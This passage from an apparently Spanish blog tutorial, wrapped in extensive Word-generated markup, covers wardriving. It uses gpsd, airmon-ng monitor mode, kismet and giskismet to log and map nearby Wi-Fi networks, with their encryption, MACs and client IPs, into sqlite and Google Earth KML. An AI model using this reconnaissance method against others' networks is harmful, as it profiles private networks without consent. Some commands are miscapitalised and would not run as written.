<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Tabla normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-fareast-language:EN-US;}
</style>
<![endif]-->
</div>
<div class="MsoNormal">
Guardamos el fichero y por ultimo tenemos que ejecutar el
siguiente comando:</div>
<blockquote class="tr_bq">
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">Gpsd –N –n –D
3 /dev/ttys0</span></div>
</blockquote>
<div class="MsoNormal">
Con esto le indicamos al demonio de gpsd donde tiene que coger
los datos del gps.</div>
<div class="MsoNormal">
Posteriormente arrancamos la tarjeta Wifi en modo monitor
con:</div>
<blockquote class="tr_bq">
<div class="MsoNormal">
Airmon-ng start $(nombre_interfaz)</div>
</blockquote>
<div class="MsoNormal">
Y arrancamos kismet. En el iphone activamos el gps y automáticamente
se estarán guardando las redes Wifi visibles por donde estés pasando.</div>
<div class="MsoNormal">
Posteriormente con giskismet lo guardaremos todo en una base
de datos sqlite de la siguiente manera:</div>
<blockquote class="tr_bq">
<div class="MsoNormal">
Giskismet –x $(fichero).netxml</div>
</blockquote>
<div class="MsoNormal">
Finalmente giskismet permite exportar todos los datos a un
fichero kml<span style="mso-spacerun: yes;"> </span>que será cargado con google
earth. La base de datos que crea giskismet tiene la siguiente estructura:</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">CREATE TABLE clients (
<br />
cid INTEGER PRIMARY KEY AUTOINCREMENT,
<br />
nid INTEGER NULL,
<br />
mac text default NULL,
<br />
manuf text default NULL,
<br />
iptype text default NULL,
<br />
ip text default NULL);
<br />
CREATE TABLE wireless ( <br />
Id INTEGER PRIMARY KEY AUTOINCREMENT,
<br />
NetworkID INTEGER NULL,
<br />
NetType text default NULL,
<br />
ESSID text default NULL,
<br />
BSSID text default NULL,
<br />
Manuf text default NULL,
<br />
Info text default NULL,
<br />
Channel INTEGER NULL,
<br />
Cloaked text default NULL,
<br />
Encryption text default NULL,
<br />
Decrypted text default NULL,
<br />
MaxRate INTEGER NULL,
<br />
MaxSeenRate INTEGER NULL,
<br />
Beacon INTEGER NULL,
<br />
LLC INTEGER NULL,
<br />
Data INTEGER NULL,
<br />
Crypt INTEGER NULL,
<br />
Weak INTEGER NULL,
<br />
Total INTEGER NULL,
<br />
Carrier text default NULL,
<br />
Encoding text default NULL,
<br />
FirstTime text default NULL,
<br />
LastTime text default NULL,
<br />
BestQuality INTEGER NULL,
<br />
BestSignal INTEGER NULL,
<br />
BestNoise INTEGER NULL,
<br />
GPSMinLat float NULL,
<br />
GPSMinLon float NULL,
<br />
GPSMinAlt float NULL,
<br />
GPSMinSpd float NULL,
<br />
GPSMaxLat float NULL,
<br />
GPSMaxLon float NULL,
<br />
GPSMaxAlt float NULL,
<br />
GPSMaxSpd float NULL,
<br />
GPSBestLat float NULL,
<br />
GPSBestLon float NULL,
<br />
GPSBestAlt float NULL,
<br />
DataSize INTEGER NULL,
<br />
IPType text default NULL,
<br />
IP text default NULL); </span><br />
<span lang="EN-US" style="mso-ansi-language: EN-US;"><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" name="lbAK"></a></span></div>
<div class="MsoNormal">
<br />
De esta manera podemos realizar consultas a la base de datos
sqlite y guardarlas en un fichero kml:</div>
<blockquote class="tr_bq">
<div class="MsoNormal">
perl giskismet -q "select * from wireless" -o ex1.kml </div>
</blockquote>
<div class="MsoNormal">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-a7ekVFFCVEE/URzMwcuJKsI/AAAAAAAAAXQ/fkKASMKpqr8/s1600/wifis.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="316" src="http://3.bp.blogspot.com/-a7ekVFFCVEE/URzMwcuJKsI/AAAAAAAAAXQ/fkKASMKpqr8/s640/wifis.jpg" width="640" /></a></div>
<div class="MsoNormal">
<!--[if gte mso 9]><xml>
<o:OfficeDocumentSettings>
<o:AllowPNG/>
</o:OfficeDocumentSettings>
</xml><![endif]--></div>
<div class="MsoNormal">
<!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--><!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
